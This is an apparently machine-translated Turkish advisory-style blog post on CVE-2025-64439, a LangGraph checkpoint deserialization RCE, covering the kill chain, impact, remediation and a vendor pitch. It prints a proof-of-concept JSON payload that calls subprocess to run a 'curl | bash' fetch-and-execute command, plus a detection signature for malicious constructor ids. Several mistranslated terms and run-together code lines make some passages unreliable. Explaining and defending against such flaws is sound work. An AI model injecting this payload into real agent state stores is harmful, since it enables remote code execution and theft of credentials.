LangGraph'ın kontrol noktası serileştiricisinde kritik bir RCE olan CVE-2025-64439'un (CVSS 9.8) teknik otopsisi. JSON serileştirme mantığı kusurunu, AI Agent belleğini zehirlemek için öldürme zincirini ve AI odaklı savunma stratejilerini analiz ediyoruz.
2026'nın mimari evriminde, Agentik Yapay Zeka deneysel Jupyter not defterlerinden görev açısından kritik kurumsal altyapıya geçiş yaptı. Gibi çerçeveler LangGraph geliştiricilerin karmaşık görevleri duraklatabilen, devam ettirebilen ve yineleyebilen durum bilgisi içeren, çok aktörlü uygulamalar oluşturmasına olanak tanıyarak bu sistemlerin bel kemiği haline gelmiştir.
Ancak, bu bilgilerin açıklanması CVE-2025-64439 (CVSS Puanı 9.8, Kritik), bu ajanları "akıllı" kılan mekanizmadaki feci bir güvenlik açığını ortaya çıkarır: uzun süreli hafızaları.
Bu tipik bir web güvenlik açığı değildir. Bu bir tedari̇k zi̇nci̇ri̇ nükleer seçeneği̇ AI kalıcılık katmanını hedef alıyor. Kusur, yapay zekanın langgraph-checkpoint kütüphane-özellikle de nasıl JsonPlusSerializer veri kurtarma işlemlerini gerçekleştirir. Saldırganlar bu durumdan faydalanarak bir Agent'ın durum depolama alanına (örn. SQLite, Postgres) kötü amaçlı JSON yükleri enjekte edebilir ve Uzaktan Kod Yürütme (RCE) Sistemin bir iş akışını devam ettirmek için önceki bir durumu "hatırlamaya" çalıştığı an.
Sıkı bir yapay zeka güvenlik mühendisi için bunun anlamı çok açık: "Devlet" yeni "Girdi "dir. Bir saldırgan bir aracının serileştirilmiş geçmişini etkileyebilirse, çıkarım sunucusunda rastgele kod çalıştırabilir. Bu makale, bu "Bellek Zehirlenmesi" öldürme zincirinin mekaniğini ortaya çıkarmak için kaynak kodunu incelemektedir.
Güvenlik Açığı İstihbarat Kartı
| Metrik | İstihbarat Detayı |
|---|---|
| CVE Tanımlayıcı | CVE-2025-64439 |
| Hedef Bileşen | langgraph-checkpoint (Çekirdek Kütüphane) & langgraph-checkpoint-sqlite |
| Etkilenen Sürümler | langgraph-checkpoint < 3.0.0; langgraph-checkpoint-sqlite <= 2.1.2 |
| Güvenlik Açığı Sınıfı | RCE'ye yol açan Güvensiz Derileştirme (CWE-502) |
| CVSS v3.1 Puanı | 9,8 (Kritik) (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Saldırı Vektörü | Kontrol Noktası Veritabanını Zehirleme, Durum Aktarımında Ortadaki Adam |
Teknik Derin Dalış: Teknik Derin Dalış JsonPlusSerializer Tuzak
CVE-2025-64439'u anlamak için LangGraph'ın kalıcılığı nasıl ele aldığını anlamak gerekir. Durum bilgisi olmayan bir LLM çağrısının aksine, bir Agent'ın daha sonra devam edebilmesi için yığınını (değişken değerler, konuşma geçmişi ve yürütme adımları) kaydetmesi gerekir. Bu işlem şu şekilde gerçekleştirilir Checkpointers.
LangGraph aşağıdakileri kullanmaya çalışır msgpack verimlilik için. Bununla birlikte, AI iş akışlarındaki Python nesneleri genellikle karmaşık olduğundan (özel sınıflar, Pydantic modelleri), sağlam bir geri dönüş mekanizması uygular: JSON Modutarafından ele alınmıştır. JsonPlusSerializer.

1. Ölümcül "Kurucu" Mantığı
Güvenlik açığı JSON kullanımında değil nasıl LangGraph, karmaşık Python türlerini desteklemek için JSON'u genişletir. JSON'dan bir Python nesnesini yeniden oluşturmak için, serileştirici "sihirli anahtarlar" içeren belirli bir şema arar:
lc: LangChain/LangGraph sürüm tanımlayıcısı (örn,2).tip: Nesne türü (özellikle"kurucu").id: Sınıf veya fonksiyona giden modül yolunu temsil eden bir liste.kwargs: Bu kurucuya iletilecek bağımsız değişkenler.
Kusur: Etkilenen sürümlerde, deserializer id alanını dolaylı olarak belirler. Belirtilen modülün "güvenli" bir LangGraph bileşeni mi yoksa tehlikeli bir sistem kütüphanesi mi olduğunu doğrulamaz. Modülü dinamik olarak içe aktarır ve yapıcıyı sağlanan argümanlarla çalıştırır.
2. Adli Kod Yeniden Yapılandırma
Yama analizine göre, güvenlik açığı bulunan mantık langgraph/checkpoint/serde/jsonplus.py aşağıdaki modele benzemektedir:
Python
# Basitleştirilmiş Güvenlik Açığı Mantığı def _load_constructor(value): # TEHLİKELİ: 'id' üzerinde allow-list kontrolü yok # 'id' doğrudan JSON yükünden geliyor module_path = value["id"][:-1] class_name = value["id"][-1]
# HERHANGİ bir modülün dinamik içe aktarımı
module = importlib.import_module(".".join(module_path))
cls = getattr(module, class_name)
# Kurucunun yürütülmesi
return cls(**value["kwargs"])`
Bu mantık, deserializer'ı kötü şöhretli Java'ya benzer şekilde genel bir "Gadget Chain" yürütücüsüne dönüştürür ObjectInputStream Güvenlik açıkları, ancak yük insan tarafından okunabilir JSON olduğu için istismar edilmesi daha kolaydır.
Ölüm Zinciri: Hafıza Zehirlenmesi
Bir saldırgan bu JSON'u sisteme gerçekten nasıl sokar? Saldırı yüzeyi göründüğünden daha geniştir.
Aşama 1: Enjeksiyon (Zehir)
Saldırganın kontrol noktalarının depolandığı veritabanına yazması gerekir.
- Senaryo A (Doğrudan Girdi): Agent, duruma ham olarak depolanan kullanıcı girdisini kabul ederse (örneğin, "Bu metni özetleyin: [MALICIOUS_JSON]") ve uygulama serileştirme mantığı kusurluysa, yük DB'ye yazılabilir.
- Senaryo B (SQL Enjeksiyonu Pivotu): Bir saldırgan daha düşük şiddette bir SQL Enjeksiyonu (CVE-2025-8709 gibi) kullanarak
kontrol noktalarıtablosunu doğrudan SQLite/Postgres'e yerleştirerek, RCE yükünüthread_tsveya durum blobu.
2. Aşama: Silahlandırma (Yük)
Saldırgan, geçerli bir LangGraph nesnesini taklit eden bir JSON yükü oluşturur, ancak alt süreç.
Konsept PoC Yükü:
JSON
{"lc": 2, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": { "args": ["/bin/bash", "-c", "curl | bash"], "shell": false, "text": true } }
3. Aşama: Patlama (Devam)
Kod, enjeksiyonun hemen ardından yürütülmez. Ajan okur devlet.
- Kullanıcı (veya Saldırgan) Agent'ı bir iş parçacığını devam ettirmesi için tetikler (örneğin, "Önceki göreve devam et").
- LangGraph en son kontrol noktası için DB'yi sorgular.
- Bu
JsonPlusSerializerblobu ayrıştırır. - Karşılaştığı
kurucutip. - İthal ediyor
alt süreçve çalışırcheck_output. - RCE Başarıldı.
Etki Analizi: Yapay Zeka Beyin Soygunu
LangGraph'ı çalıştıran sunucuyu tehlikeye atmak, yapay zeka iş yüklerinin doğası gereği standart bir web sunucusunu tehlikeye atmaktan çok daha tehlikelidir.
- Kimlik Bilgisi Toplama: AI Agent'lar API anahtarları için ortam değişkenlerine güvenir (
OPENAI_API_KEY,ANTHROPIC_API_KEY,AWS_ACCESS_KEY). DKAB, aşağıdakilere anında erişim sağlaros.environ. - Vektör DB Sızma: Aracılar genellikle Pinecone, Milvus veya Weaviate'e okuma/yazma erişimine sahiptir. Bir saldırgan özel bilgi tabanlarını (RAG verileri) dökebilir.
- Model Ağırlık Enfeksiyonu: Sunucu yerel modelleri barındırıyorsa (örneğin Ollama kullanarak), saldırganlar model ağırlıklarını zehirleyebilir veya çıkarım işlem hattını değiştirebilir.
- Yanal Hareket: LangGraph ajanları aşağıdakiler için tasarlanmıştır bir şeyler yapmakAPI'leri çağırabilir, veritabanlarını sorgulayabilir, e-posta gönderebilir. Saldırgan, Agent'a atanan tüm izinleri ve araçları devralır.
Yapay Zekaya Dayalı Savunma: Penligent Avantajı
CVE-2025-64439'u tespit etmek eski DAST (Dinamik Uygulama Güvenlik Testi) araçları için bir kabustur.
- Protokol Körlüğü: Tarayıcılar HTML formlarını ve URL parametrelerini arar. Python AI çerçeveleri tarafından kullanılan dahili ikili veya JSON serileştirme protokollerini anlamazlar.
- Devlet Körlüğü: Güvenlik açığı şu durumlarda tetiklenir okuyundeğil yaz. Bir tarayıcı bir yük enjekte edebilir ve anında bir hata görmeyerek sonucu yanlış negatif olarak değerlendirebilir.
İşte burası Penligent.ai Yapay Zeka Uygulama Güvenliği için bir paradigma değişimini temsil ediyor. Penligent şunları kullanır Derin Bağımlılık Analizi ve Mantık Bulanıklaştırma:
- Tam Yığın Yapay Zeka Parmak İzi
Penligent'in aracıları pip dondurmanın ötesine geçer. Langgraph, langchain-core ve langgraph-checkpoint'in tam hash sürümlerini belirlemek için geliştirme ve üretim konteynerlerini tararlar. Bir Docker görüntüsünün derinliklerinde yuvalanmış olsa bile savunmasız bağımlılık zincirini tanır ve izin listeleri olmadan JsonPlusSerializer'ın varlığını işaretler.
- Serileştirme Protokolü Bulanıklaştırma
Penligent "Aracıların Dilini" anlar. Serileştirme işaretleyicileri (lc=2 ve iyi huylu yapıcı çağrıları gibi) içeren belirli problama yükleri oluşturabilir.
- Tahribatsız Sonda: Penligent, ters kabuk yerine iyi huylu bir DNS aramasını tetikleyen bir yük enjekte eder (örn.
socket.gethostbyname). - Doğrulama: Penligent OOB dinleyicisi, Aracı durumu yüklendiğinde DNS sorgusunu alırsa, güvenlik açığı 100% kesinliğiyle doğrulanır.
- Devlet Mağazası Denetimi
Penligent, AI Agent'larınız tarafından kullanılan kalıcılık katmanına (SQLite/Postgres) bağlanır. Depolanan blobları "Hareketsiz Yükler "e (serileştirilmeyi bekleyen kötü amaçlı JSON yapıları) karşı tarar ve bir olay meydana gelmeden önce veritabanınızı sterilize etmenizi sağlar.

İyileştirme ve Sertleştirme El Kitabı
LangGraph ile inşa ediyorsanız, derhal düzeltme yapmanız gerekir.
1. Yükseltme Bağımlılıkları (Düzeltme)
Yükseltme langgraph-checkpoint versiyona 3.0.0 veya daha yüksek bir seviyeye derhal yükseltilmelidir.
- Mekanizma: Yeni sürüm, aşağıdaki varsayılan desteği kaldırır
kurucutürüne izin vermez veya katı, varsayılan olarak boş bir izin listesi uygular. Geliştiricileri serileştirme için güvenli sınıfları açıkça kaydetmeye zorlar.
2. Adli Veri Tabanı Temizliği
Sisteminizin açığa çıktığından şüpheleniyorsanız, sadece kodu yamamakla yetinemezsiniz; verileri temizlemeniz gerekir.
- Eylem: Yinelemek için bir araç komut dosyası
kontrol noktalarıtablo. Her JSON bloğunu ayrıştırın. - İmza: Aramak için
{"type": "yapıcı", "id": ["subprocess", ...]}veya herhangi biridişaret ederekos,sysveyashutil. - Purge: Bu imzaları içeren tüm iş parçacıklarını/kontrol noktalarını silin.
3. Ağ ve Çalışma Zamanı İzolasyonu
- Çıkış Filtreleme: YZ Temsilcileri sınırsız İnternet erişimine sahip olmamalıdır. Ters kabukları önlemek için bilinmeyen IP'lere giden bağlantıları engelleyin.
- Veritabanı İzolasyonu: Kontrol noktalarını depolayan SQLite dosyasının veya Postgres örneğinin genel arayüzler aracılığıyla erişilebilir olmadığından emin olun.
- En az ayrıcalık: Agent hizmetini kabuk erişimi olmayan bir kullanıcıyla çalıştırın (
/bin/false) ve sıkı bir şekilde kapsamlandırılmış IAM rolleri.
Sonuç
CVE-2025-64439 yapay zeka endüstrisi için bir uyandırma çağrısı niteliğindedir. Giderek daha otonom ve durumsal hale gelen sistemler inşa ediyoruz, ancak bunları kırılgan güven temelleri üzerine inşa ediyoruz. Bir Ajanın hafızası değiştirilebilir, silah olarak kullanılabilir bir yüzeydir.
AGI'ye yakın sistemlere doğru ilerledikçe güvenlik mühendisliği de evrim geçirmelidir. "Durum "a, "Kullanıcı Girdisi "ne gösterdiğimiz şüpheyle yaklaşmalıyız. Serileştirme mantığını doğrulamak, bağımlılıkları denetlemek ve Penligent gibi yapay zekaya özgü güvenlik araçlarını kullanmak artık isteğe bağlı değil, Agentic AI çağında hayatta kalmak için ön koşullardır.

